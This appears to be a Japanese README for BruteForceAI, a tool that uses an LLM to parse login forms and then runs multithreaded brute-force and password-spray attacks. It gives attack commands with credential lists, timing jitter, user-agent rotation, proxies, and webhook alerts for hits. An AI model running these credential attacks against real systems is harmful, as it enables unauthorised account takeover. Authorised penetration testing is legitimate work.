
AIの知能と自動ログイン攻撃を組み合わせた、LLMを活用した高度なブルートフォースツール
BruteForceAIは、大規模言語モデル(LLM)を統合してインテリジェントなフォーム解析を行うことで、従来の総当たり攻撃を革新する高度なペネトレーションテストツールです。このツールはAIを用いてログインフォームのセレクタを自動的に特定し、人間のような行動パターンを伴う洗練されたマルチスレッド攻撃を実行します。
# Python 3.8 or higher
python --version
組み込みの venv を使用して、依存関係をシステムの Python から分離してください:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
注:
python -m venv .venvの手順は一度だけ実行すれば十分です。新しいターミナルセッションごとに、ツールを使用する前にアクティベーションコマンド(手順2)を再実行してください。仮想環境を抜けるには、deactivateを実行します。
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
必要なパッケージ:
playwright - ブラウザ自動化requests - HTTPリクエストPyYAML - 更新チェック用のYAML解析# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEY を付けて使用しますOllama (ローカル):
llama3.2:3b - デフォルト。速度と品質のバランスが良好llama3.2:1b - 最速。迅速な分析向けの小型モデルqwen2.5:3b - 良好なパフォーマンスを持つ代替モデルGroq (クラウド):
llama-3.3-70b-versatile - デフォルトかつ最良 - 優れた品質を持つ最新モデル (試行 1 回)llama3-70b-8192 - 高速で信頼性の高い代替モデル (試行 1 回)gemma2-9b-it - 軽量オプション。シンプルなフォームに適しています (試行 1 回)llama-3.1-8b-instant - ⚠️ 非推奨 (レート制限の問題あり、試行 3 回以上)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - LLM を使用してログインフォームを分析attack - ブルートフォース攻撃を実行clean-db - データベーステーブルをクリーンcheck-updates - ソフトウェアのアップデートを確認# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt
| パラメータ | 説明 | デフォルト |
|---|---|---|
--llm-provider | LLMプロバイダー (ollama/groq) | ollama |
--llm-model | モデル名 | llama3.2:3b (ollama), llama-3.3-70b-versatile (groq) |
--llm-api-key | Groq用APIキー | None |
--ollama-url | OllamaサーバーURL | http://localhost:11434 |
--selector-retry | セレクターの再試行回数 | 10 |
--force-reanalyze | 強制的に再分析 | False |
| パラメータ | 説明 | デフォルト |
|---|---|---|
--mode | 攻撃モード (bruteforce/passwordspray) | bruteforce |
--threads | スレッド数 | 1 |
--delay | 試行間の遅延 (秒) | 0 |
--jitter | ランダムジッター (秒) | 0 |
--success-exit | 最初の成功後に停止 | False |
--force-retry | 既存の試行を再試行 | False |
| パラメータ | 説明 | デフォルト |
|---|---|---|
--dom-threshold | DOM差分のしきい値 | 100 |
--retry-attempts | ネットワーク再試行回数 | 3 |
| パラメータ | 説明 | デフォルト |
|---|---|---|
--user-agents | User-Agentファイル | None |
--proxy | プロキシサーバー | None |
--show-browser | ブラウザウィンドウを表示 | False |
--browser-wait | 表示時の待機時間 | 0 |
| パラメータ | 説明 | デフォルト |
|---|---|---|
--verbose | 詳細なタイムスタンプ | False |
--debug | デバッグ情報 | False |
--output | 出力をファイルに保存 | None |
--no-color | 色を無効化 | False |
--database | SQLiteデータベースファイルのパス | bruteforce.db |